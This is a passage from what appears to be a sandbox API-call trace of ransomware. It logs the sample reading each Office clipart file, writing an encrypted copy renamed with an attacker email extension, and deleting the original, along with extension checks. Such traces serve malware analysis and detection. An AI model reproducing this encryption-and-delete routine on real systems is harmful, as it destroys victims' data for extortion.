liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.509] SetEndOfFile (hFile=0x218) returned 1 [0224.510] CloseHandle (hObject=0x218) returned 1 [0224.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf")) returned 1 [0224.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0224.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0224.510] lstrlenW (lpString=".doc") returned 4 [0224.510] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.510] lstrlenW (lpString=".docx") returned 5 [0224.510] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0224.510] lstrlenW (lpString=".pdf") returned 4 [0224.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.511] lstrlenW (lpString=".xls") returned 4 [0224.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.511] lstrlenW (lpString=".xlsx") returned 5 [0224.511] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0224.511] lstrlenW (lpString=".ppt") returned 4 [0224.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0224.511] lstrlenW (lpString=".zip") returned 4 [0224.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.511] lstrlenW (lpString=".rar") returned 4 [0224.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.511] lstrlenW (lpString=".bz2") returned 4 [0224.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.511] lstrlenW (lpString=".7z") returned 3 [0224.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0224.511] lstrlenW (lpString=".dbf") returned 4 [0224.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0224.511] lstrlenW (lpString=".1cd") returned 4 [0224.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0224.511] lstrlenW (lpString=".jpg") returned 4 [0224.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.511] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=9172) returned 1 [0224.511] CloseHandle (hObject=0x218) returned 1 [0224.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf")) returned 0x20 [0224.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0224.512] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.512] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0224.512] GetLastError () returned 0x0 [0224.512] ReadFile (in: hFile=0x218, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x23d4, lpOverlapped=0x0) returned 1 [0224.529] WriteFile (in: hFile=0x16c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x23e0, lpOverlapped=0x0) returned 1 [0224.530] ReadFile (in: hFile=0x218, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.530] WriteFile (in: hFile=0x16c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.530] SetEndOfFile (hFile=0x16c) returned 1 [0224.530] CloseHandle (hObject=0x16c) returned 1 [0224.530] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.530] SetEndOfFile (hFile=0x218) returned 1 [0224.531] CloseHandle (hObject=0x218) returned 1 [0224.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf")) returned 1 [0224.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0224.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0224.538] lstrlenW (lpString=".doc") returned 4 [0224.538] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.538] lstrlenW (lpString=".docx") returned 5 [0224.538] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0224.538] lstrlenW (lpString=".pdf") returned 4 [0224.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.538] lstrlenW (lpString=".xls") returned 4 [0224.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.538] lstrlenW (lpString=".xlsx") returned 5 [0224.538] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0224.538] lstrlenW (lpString=".ppt") returned 4 [0224.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0224.538] lstrlenW (lpString=".zip") returned 4 [0224.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.538] lstrlenW (lpString=".rar") returned 4 [0224.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.538] lstrlenW (lpString=".bz2") returned 4 [0224.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.538] lstrlenW (lpString=".7z") returned 3 [0224.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0224.538] lstrlenW (lpString=".dbf") returned 4 [0224.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0224.538] lstrlenW (lpString=".1cd") returned 4 [0224.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0224.538] lstrlenW (lpString=".jpg") returned 4 [0224.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.538] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=6920) returned 1 [0224.538] CloseHandle (hObject=0x1d8) returned 1 [0224.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf")) returned 0x20 [0224.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0224.539] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.539] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0224.540] GetLastError () returned 0x0 [0224.540] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x1b08, lpOverlapped=0x0) returned 1 [0224.547] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1b10, lpOverlapped=0x0) returned 1 [0224.548] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.548] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.548] SetEndOfFile (hFile=0x218) returned 1 [0224.548] CloseHandle (hObject=0x218) returned 1 [0224.548] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.549] SetEndOfFile (hFile=0x1d8) returned 1 [0224.549] CloseHandle (hObject=0x1d8) returned 1 [0224.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf")) returned 1 [0224.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0224.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0224.550] lstrlenW (lpString=".doc") returned 4 [0224.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.550] lstrlenW (lpString=".docx") returned 5 [0224.550] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0224.550] lstrlenW (lpString=".pdf") returned 4 [0224.550] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.550] lstrlenW (lpString=".xls") returned 4 [0224.550] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.550] lstrlenW (lpString=".xlsx") returned 5 [0224.550] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0224.550] lstrlenW (lpString=".ppt") returned 4 [0224.550] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0224.550] lstrlenW (lpString=".zip") returned 4 [0224.550] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.550] lstrlenW (lpString=".rar") returned 4 [0224.550] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.550] lstrlenW (lpString=".bz2") returned 4 [0224.550] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.550] lstrlenW (lpString=".7z") returned 3 [0224.550] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0224.550] lstrlenW (lpString=".dbf") returned 4 [0224.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0224.550] lstrlenW (lpString=".1cd") returned 4 [0224.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0224.550] lstrlenW (lpString=".jpg") returned 4 [0224.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.551] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1256) returned 1 [0224.551] CloseHandle (hObject=0x1d8) returned 1 [0224.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf")) returned 0x20 [0224.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0224.551] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.551] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0224.552] GetLastError () returned 0x0 [0224.552] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x4e8, lpOverlapped=0x0) returned 1 [0224.556] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x4f0, lpOverlapped=0x0) returned 1 [0224.557] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.557] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.557] SetEndOfFile (hFile=0x218) returned 1 [0224.557] CloseHandle (hObject=0x218) returned 1 [0224.557] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.557] SetEndOfFile (hFile=0x1d8) returned 1 [0224.558] CloseHandle (hObject=0x1d8) returned 1 [0224.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.558] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf")) returned 1 [0224.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0224.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0224.558] lstrlenW (lpString=".doc") returned 4 [0224.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.558] lstrlenW (lpString=".docx") returned 5 [0224.558] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0224.558] lstrlenW (lpString=".pdf") returned 4 [0224.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.558] lstrlenW (lpString=".xls") returned 4 [0224.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.559] lstrlenW (lpString=".xlsx") returned 5 [0224.559] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0224.559] lstrlenW (lpString=".ppt") returned 4 [0224.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0224.559] lstrlenW (lpString=".zip") returned 4 [0224.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.559] lstrlenW (lpString=".rar") returned 4 [0224.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.559] lstrlenW (lpString=".bz2") returned 4 [0224.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.559] lstrlenW (lpString=".7z") returned 3 [0224.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0224.559] lstrlenW (lpString=".dbf") returned 4 [0224.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0224.559] lstrlenW (lpString=".1cd") returned 4 [0224.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0224.559] lstrlenW (lpString=".jpg") returned 4 [0224.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.559] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=2944) returned 1 [0224.559] CloseHandle (hObject=0x1d8) returned 1 [0224.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf")) returned 0x20 [0224.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0224.560] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.560] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0224.560] GetLastError () returned 0x0 [0224.560] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xb80, lpOverlapped=0x0) returned 1 [0224.572] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xb90, lpOverlapped=0x0) returned 1 [0224.573] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.573] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.573] SetEndOfFile (hFile=0x218) returned 1 [0224.573] CloseHandle (hObject=0x218) returned 1 [0224.573] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.573] SetEndOfFile (hFile=0x1d8) returned 1 [0224.574] CloseHandle (hObject=0x1d8) returned 1 [0224.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf")) returned 1 [0224.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0224.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0224.574] lstrlenW (lpString=".doc") returned 4 [0224.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.574] lstrlenW (lpString=".docx") returned 5 [0224.574] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0224.574] lstrlenW (lpString=".pdf") returned 4 [0224.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.574] lstrlenW (lpString=".xls") returned 4 [0224.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.574] lstrlenW (lpString=".xlsx") returned 5 [0224.574] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0224.574] lstrlenW (lpString=".ppt") returned 4 [0224.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0224.575] lstrlenW (lpString=".zip") returned 4 [0224.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.575] lstrlenW (lpString=".rar") returned 4 [0224.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.575] lstrlenW (lpString=".bz2") returned 4 [0224.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.575] lstrlenW (lpString=".7z") returned 3 [0224.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0224.575] lstrlenW (lpString=".dbf") returned 4 [0224.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0224.575] lstrlenW (lpString=".1cd") returned 4 [0224.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0224.575] lstrlenW (lpString=".jpg") returned 4 [0224.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.576] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x23dff1c | out: 